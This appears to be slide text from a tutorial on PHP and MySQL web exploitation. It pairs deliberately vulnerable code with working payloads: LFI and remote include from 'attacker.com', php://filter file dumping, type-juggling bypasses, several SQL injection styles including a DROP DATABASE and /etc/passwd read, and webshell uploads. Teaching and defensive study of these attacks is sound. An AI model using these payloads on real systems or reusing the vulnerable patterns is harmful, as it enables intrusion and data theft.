

# Web Exploitation

## PHP and MySQL Edition

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# Not even trying

## Trust based authentication

```
if ($_GET['authorized'] == 'true')  
    show_secret_admin_area();
```

## Cookie poisoning

```
if ($_COOKIE['username'] == 'admin')  
    show_secret_admin_area();
```

# Path Traversal (LFI)

## Regular file access

`http://example.com/?page=main.php`

```
include('pages/' . $_GET['page']);
```

## Out of scope file access

`http://example.com/?page=../../../etc/passwd`

```
include('pages/../../../etc/passwd');
```

# LFI remote code execution

## Less secure website

`http://example.com/?page=main.php`

```
include($_GET['page']);
```

With PHP configuration – `> allow_url_include=On`

## Code execution

`http://example.com/?page=http://attacker.com/code.txt`

```
include('http://attacker.com/code.txt');
```

We are telling the server to include and evaluate `http://attacker.com/code.txt` that contains malicious code

# LFI arbitrary code execution

## Event worse

`http://example.com/?page=php://input`

```
include('php://input');
```

We are telling the server to include and evaluate `php://input`, that's the body of the request. If we POST the website with some PHP code and that specific parameter we can execute arbitrary PHP code

# LFI dump them all

## Base64 dumping

`http://example.com/?page=php://filter/convert.base64-encode/resource=index.php`

```
include('php://filter/convert.base64-encode/resource=index.php');
```

Works without PHP configuration — > `allow_url_include`

We are telling the server to include and evaluate

`php://filter/convert.base64-encode/resource=filename.`

The php filter "convert.base64-encode" read the file "filename" (even out of scope) and returns its content Base64 encoded.

Using this technique we can dump all kind of files entirely, including PHP ones which, being Base64 encoded, will not be executed.

# Type Juggling

## Identical Operator === (checks value and data type)

```
$a = 123;  
$b = 123;  
$a == $b;  
// true
```

```
$a = "test";  
$b = "test";  
$a == $b;  
// true
```

```
$a = NULL;  
$b = 0;  
$a === $b;  
// false
```

```
$a = "1";  
$b = 1;  
$a === $b;  
// false
```

## Equality Operator == (checks only value)

```
$a = 123;  
$b = 123;  
$a == $b;  
// true
```

```
$a = "test";  
$b = "test";  
$a == $b;  
// true
```

```
$a = NULL;  
$b = 0;  
$a == $b;  
// true
```

```
$a = "1";  
$b = 1;  
$a == $b;  
// true
```

# Type Juggling and Beyond

## More

```
$a = '0a2b3c';  
$b = 0;  
$a == $b;  
// true
```

```
$a = '0.1test';  
$b = 0.1;  
$a == $b;  
// true
```

```
$a = '0e98765';  
$b = '0e1';  
$a == $b;  
// true
```

```
$a = ['test'];  
$b = true;  
$a == $b;  
// true
```

## What about strcmp(str1, str2)

"Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal." - <https://www.php.net/manual/en/function strcmp.php>

Sounds good, but what if an argument is not a string?

```
strcmp([], "test"); // NULL (and a warning)  
strcmp([], "secretPassword") == 0; // true (and a warning)
```

A comparison between a string and an array is always a perfect match.  
Also works with NULL, functions and classes



# SQL Injection

## A common query style

```
$username = $_GET['user'];  
$query = "SELECT * FROM users WHERE username = '" . $username . "'";  
$db->query($query);
```

## A common query injection

' OR true -- -

<http://example.com/?user=%27%20OR%20true%20--%20->

```
SELECT * FROM users WHERE username = '' OR true -- -'
```

# SQL Injection

## Sanitized

```
$id = $db->real_escape_string($_GET['id']);  
$query = "SELECT * FROM users WHERE id = " . $id;  
$db->query($query);
```

## New query, new injection

0 OR true

<http://example.com/?id=%20%20OR%20true>

```
SELECT * FROM users WHERE id = 0 OR true
```

# SQL Injection

## Login bypass (easy)

```
$user = $_GET['user']; $pass = $_GET['pass'];  
$query = "SELECT * FROM users WHERE  
    username = '" . $user . "' AND password = MD5('" . $pass . "')";  
  
$result = $db->query($query);  
if($result->num_rows > 0) {  
    $row = $result->fetch_assoc();  
    echo("Welcome " . $row['username']);  
}
```

We can alter the query to return a user without knowing the password.  
' ) OR true LIMIT 0, 1 -- -

```
SELECT * FROM users WHERE  
    username = '' AND password = MD5('') OR true LIMIT 0, 1 -- -');
```

# SQL tricks

<https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/>

## String HEX representation

```
'admin' = 0x61646D696E
```

In SQL strings can also be represented in hexadecimal notation  
That's useful to insert strings in a payload sanitized by `real_escape_string`

## Query stacking

```
SELECT * FROM users; DROP DATABASE db;
```

Modern SQL drivers do not permit different type of query to be stacked (e.g. `SELECT...; UPDATE ...;`)

# SQL Injection

## Now what?

```
$username = $_GET['user'];  
$query = "SELECT * FROM users WHERE username = '" . $username . "'";  
  
if(!$result = $db->query($query))  
    die($db->error);
```

## Error based SQLi

In this case we use the XML parser included with MySQL. When it finds an error it returns part of the code it was parsing. We can have it parsing a result of a select making it leak the result. (Query must output only one column and one row)

```
SELECT extractvalue(rand(),concat(0x3A,(  
    SELECT username FROM users LIMIT 0,1  
)))
```

# SQL Injection

## No errors?

```
$username = $_GET['user'];  
$query = "SELECT * FROM users WHERE username = '" . $username . "'";  
$result = $db->query($query);  
  
$row = $result->fetch_assoc();  
echo($row["id"] . ' | ' . $row["username"] . ' | ' . $row["email"]);
```

## Union based SQLi

We use the mask on the website (the echo in our PHP) to show data from the database

```
UNION SELECT username, password AS email, 0 FROM admins
```

```
SELECT * FROM users WHERE username = ''  
UNION SELECT username, password AS email, 0 FROM admins -- '
```

Number of columns must match the first SELECT (in this case 3)

# SQL Injection

## No mask?

```
$username = $_GET['user'];  
$query = "SELECT * FROM users WHERE username = '" . $username . "'";  
$result = $db->query($query);  
  
if ($result->num_rows > 0)  
    echo("Logged in");
```

## Boolean Based Blind SQLi

We issue boolean SQL queries and check for the "Logged in" output

Using MySQL functions as LENGTH and MID we can reduce the amount of requests to retrieve information

# SQL Injection

## No output?

```
$id = $_GET['id'];  
$query = "UPDATE users SET name = 'John' WHERE id = " . $id;  
$db->query($query);
```

## Time Based Blind SQLi

We issue SQL queries containing SLEEP function and treat the response time as a boolean output

```
UPDATE users SET name = 'John' WHERE id = -1;  
IF(MID(VERSION(),1,1) = '5', SLEEP(10), 0);  
-- Sleep 10 seconds if MySQL version is 5
```



# SQL Injection

## How to prevent?

### Prepared Statements

```
$stmt = $db->prepare("SELECT * FROM users WHERE id=? AND username=?");  
$stmt->bind("i", $id);  
$stmt->bind("s", $username);  
$stmt->execute();
```

## How it works?

Query and parameters (data) are not assembled on the client. When the query reaches the database it's compiled by the SQL engine and subsequently the data is replaced. In this way parameters cannot alter the structure of the query

# SQL tricks

## Reading files

```
SELECT load_file('/etc/passwd')
```

## Writing files

```
SELECT 'Content to Write' INTO OUTFILE '/tmp/test.txt'
```

# Upload Exploitation

## PHP upload is easy

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);  
$success = move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

## Easy to exploit

Simply upload a PHP file and enjoy

<http://example.com/uploads/shell.php>

# Upload Exploitation

## Check file integrity

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);  
  
$isImage = getimagesize($_FILES["file"]["tmp_name"]);  
  
if ($isImage !== false) // If it can be parsed as image  
    move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

## Give the server what it wants

PNGs come to help. We can have whatever data we want after the image in its file  
We can upload |image + PHP payload|.php files to the server

# Upload Exploitation

## Filter extensions

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);  
$extension = strtolower(pathinfo($dstfile, PATHINFO_EXTENSION));  
  
$enExtensions = array("jpeg","jpg","png","gif");  
  
if (in_array($extension, $enExtensions)) // If the extension is OK  
    move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

## No exploit for us...

The uploaded code cannot be directly executed because the file extension is not handled by the PHP engine

But we can include the file with an LFI and our code will be executed